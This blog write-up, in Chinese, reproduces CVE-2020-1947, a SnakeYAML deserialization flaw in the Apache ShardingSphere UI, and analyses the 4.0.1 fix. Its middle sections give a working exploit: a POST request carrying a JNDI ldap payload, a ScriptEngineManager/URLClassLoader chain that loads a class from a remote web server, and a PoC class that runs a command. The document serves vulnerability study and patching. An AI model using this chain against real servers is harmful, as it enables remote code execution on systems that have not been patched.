CVE-2020-1947 复现及分析

0x01 影响

Apache ShardingSphere < =4.0.0

0x02 环境搭建

incubator-shardingsphere 的ui界面为前后分离,所以搭建环境所需要的工具如下

前端后端没有启动的先后顺序,任意顺序即可。

首先将shardingsphere-ui-frontend 拖入idea,idea会自动通过pom的依赖构建项目,稍等片刻,在org.apache.shardingsphere.ui.Bootstrap类运行main函数即可。

前端环境需要nodejs构建,步骤如下

  1. 进入sharding-ui-frontend/目录;
  2. 执行npm install
  3. 执行npm run dev
  4. 访问http://localhost:8080/

现在就可以访问后台了,用户名与密码皆为admin。为了触发漏洞,需要在后台配置zookeeper。如图

0x03 POC

登录后台后,发送如下poc

POST /api/schema HTTP/1.1
Host: localhost:8089
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token: 替换为自己的
Content-Length: 579 {"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}

0x04 分析

可以根据poc,可以很明显的发现是shakeyaml引起的反序列化问题。首先找到处理/api/scheme的controller。在org.apache.shardingsphere.ui.web.controller.ShardingSchemaController处。addSchema会处理post请求

    /**
* Add schema configuration.
*
* @param shardingSchema sharding schema DTO.
* @return response result
*/
@RequestMapping(value = "", method = RequestMethod.POST)
public ResponseResult addSchema(final @RequestBody ShardingSchemaDTO shardingSchema) {
shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration());
return ResponseResultUtil.success();
}

跟入shardingSchemaService.addSchemaConfiguration函数。

    @Override
public void addSchemaConfiguration(final String schemaName, final String ruleConfiguration, final String dataSourceConfiguration) {
checkSchemaName(schemaName, getAllSchemaNames());
checkRuleConfiguration(ruleConfiguration);
checkDataSourceConfiguration(dataSourceConfiguration);
//... 省略不相关代码
}

addSchemaConfiguration中的checkDataSourceConfiguration函数会处理dataSourceConfiguration。继续跟入

    private void checkDataSourceConfiguration(final String configData) {
Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
//... 省略不相关代码
}

checkDataSourceConfiguration中会调用ConfigurationYamlConvert.LoadDataSourceConfigurations去解析datasource。

    /**
* Load data source configurations.
*
* @param data data
* @return data source configurations
*/
@SuppressWarnings("unchecked")
public static Map<String, DataSourceConfiguration> loadDataSourceConfigurations(final String data) {
Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data);
//... 省略不相关代码
}

loadDataSourceConfigurations中会调用YamlEngine.unmarshal去处理数据,下图为unmarshal函数的代码。可以很明显的看出,unmarshal函数存在反序列化漏洞。yaml的load可以加载任意类,造成反序列化漏洞

/**
* Unmarshal YAML.
*
* @param yamlContent YAML content
* @return map from YAML
*/
public static Map<?, ?> unmarshal(final String yamlContent) {
return Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap<>() : (Map) new Yaml().load(yamlContent);
}

不难看出,搭建复现环境时,不一定需要他的web环境去触发漏洞,我们可以直接调用相关函数去模拟加载loadDataSourceConfigurations函数。代码如下

package org.apache.shardingsphere.ui;

import org.apache.shardingsphere.core.config.DataSourceConfiguration;
import org.apache.shardingsphere.ui.util.ConfigurationYamlConverter; import java.util.Map; public class test {
public static void main(String... args){
String configData = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999\"]]]]";
Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
}
}

0x05 poc 构造 基于ScriptEngineManager利用链

构造exp可以使用unmarshalsec 工具,请自行搜索

本次利用是基于javax.script.ScriptEngineManager的利用链。

简单地说,ScriptEngineManager类用于Java和JavaScript之间的调用。

PoC.java,需要实现ScriptEngineManager接口类,其中的静态代码块用于执行恶意代码,将其编译成PoC.class然后放置于第三方Web服务中:

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.util.List;
import java.io.IOException;
import java.util.Map; public class PoC implements ScriptEngineFactory {
static {
try {
System.out.println("Hacked by UnicodeSec");
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
} public String getEngineName() {
return null;
} public String getEngineVersion() {
return null;
} public List<String> getExtensions() {
return null;
} public List<String> getMimeTypes() {
return null;
} public List<String> getNames() {
return null;
} public String getLanguageName() {
return null;
} public String getLanguageVersion() {
return null;
} public Object getParameter(String key) {
return null;
} public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
} public String getOutputStatement(String toDisplay) {
return null;
} public String getProgram(String... statements) {
return null;
} public ScriptEngine getScriptEngine() {
return null;
}
}

另外,在已放置PoC.class的第三方Web服务中,在当前目录新建如下文件META-INF\services\javax.script.ScriptEngineFactory,其中内容为指定被执行的类名PoC

即可触发漏洞

0x06 修复分析

在4.0.1中新增了classfilter的构造方法,只允许反序列化YamlDataSourceConfiguration类。

LoadDataSouceConfigurations函数设置只允许反序列化相关类,

ClassFilterConstructor 代码如下

public final class ClassFilterConstructor extends Constructor {

    private final Collection<Class<?>> acceptClasses;

    @Override
protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
for (Class<? extends Object> each : acceptClasses) {
if (name.equals(each.getName())) {
return super.getClassForName(name);
}
}
throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
}
}

LoadDatasourceConfigurations函数中设置classfilter

Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data, Collections.<Class<?>>singletonList(YamlDataSourceConfiguration.class));

0x06 参考

  1. https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-type-safe-collections
  2. https://www.javadoc.io/doc/org.yaml/snakeyaml/1.19/org/yaml/snakeyaml/constructor/Constructor.html
  3. https://shardingsphere.apache.org/document/current/cn/manual/sharding-ui/
  4. https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

CVE-2020-1947 Sharding-UI的反序列化复现及分析的更多相关文章

  1. Shiro反序列化复现

    Shiro反序列化复现 ——————环境准备—————— 目标靶机:10.11.10.108 //docker环境 攻击机ip:无所谓 vpsip:192.168.14.222 //和靶机ip可通 1 ...

  2. CVE-2020-2883漏洞复现&&流量分析

    CVE-2020-2883漏洞复现&&流量分析 写在前面 网上大佬说CVE-2020-2883是CVE-2020-2555的绕过,下面就复现了抓包看看吧. 一.准备环境 靶机:win7 ...

  3. Joomla 3.4.6 RCE复现及分析

    出品|MS08067实验室(www.ms08067.com) 本文作者:whojoe(MS08067安全实验室SRST TEAM成员) 前言 前几天看了下PHP 反序列化字符逃逸学习,有大佬简化了一下 ...

  4. 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

    Weblogic CVE-2017-10271 漏洞复现&&流量分析 Weblogic CVE-2017-10271 XMLDecoder反序列化 1.Weblogic-XMLDeco ...

  5. CVE-2020-2555漏洞复现&&流量分析

    CVE-2020-2555漏洞复现&&流量分析 一.准备环境 windows7: weblogic 12.2.1.4.0 JDK版本为jdk-8u261 关于weblogic搭建可以看 ...

  6. Dispatcher.BeginInvoke()方法使用不当导致UI界面卡死的原因分析

    原文:Dispatcher.BeginInvoke()方法使用不当导致UI界面卡死的原因分析 前段时间,公司同事开发了一个小工具,在工具执行过程中,UI界面一直处于卡死状态. 通过阅读代码发现,主要是 ...

  7. 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路

    概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...

  8. CVE 2021-44228 Log4j-2命令执行复现及分析

    12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...

  9. Android线程间通信更新UI的方法(重点分析EventBus)

    Android的UI更新只能在UI线程中,即主线程.子线程中如果要进行UI更新,都是要通知主线程来进行. 几种实现方式总结如下,欢迎补充. 1.runOnUiThread() 子线程中持有当前Acti ...

随机推荐

  1. linux清除cache的方法

    1  Linux下内存占用多的原因 当linux第一次读取一个文件运行时,一份放到一片内存中cache起来,另一份放入运行程序的内存中,正常运行,当程序运行完,关闭了,cache中的那一分却没有释放, ...

  2. Ubuntu navicat 连接mysql:access denied for user 'root'@'localhost'

    真是醉了,Ubuntu装了navicat后,准备在桌面建立图标不成,结果直接打开后连接mysql都不行,真坑,奈何远程连接就成,这就尬了,今天终于解决了 问题 我也百度了好几个方案,奈何解决不了,最后 ...

  3. JVM简述

    JVM的东西太多了,我们刚开始学java的时候,就会接触堆.栈,还有方法区,因为我们要知道new出来的对象放在哪里,局部变量放在哪里,static修饰的变量放在哪里. 我从网上截一个图: 这里有三大部 ...

  4. Two Sum(Medium)

    1.遍历一次nums,利用map记录已经遍历过的nums[i],并记录其index :i+1 2.每次求出b=target-nums[i],检测b是否在map中,如果在,则已经得到答案,否则,把num ...

  5. 从源码看commit和commitAllowingStateLoss方法区别

    Fragment介绍 在很久以前,也就是我刚开始写Android时(大约在2012年的冬天--),那时候如果要实现像下面微信一样的Tab切换页面,需要继承TabActivity,然后使用TabHost ...

  6. 博客已搬迁到 blog.vivym.xyz

    博客已搬迁到 blog.vivym.xyz

  7. 接口测试-chap6-获取页面动态token

    1.在发起某些请求时,可能会要求必须是从某个页面进行请求,此时会验证页面的token 2.这个token是动态生成的,每次请求时值都是不同的, 不可以通过fiddler抓取的值作为固定值传入,通过fi ...

  8. Junit 单元测试在 intelliJ IDEA 中的安装

    1.为什么使用Junit我们都知道,main 方法是一个程序的入口,通常来说,没有main方法,程序就无法运行.我们经常会写一些class文件(如下图所示),他们并没有自己的main方法.那么我们如何 ...

  9. 吴裕雄--天生自然 R语言开发学习:高级数据管理(续三)

    #-----------------------------------# # R in Action (2nd ed): Chapter 5 # # Advanced data management ...

  10. python 使用 UTF-8 编码

    题记 一般我喜欢用 utf-8 编码,在 python 怎么使用呢? 使用utf-8 文字 在 python 源码文件中用 utf-8 文字.一般会报错,如下: File "F:\works ...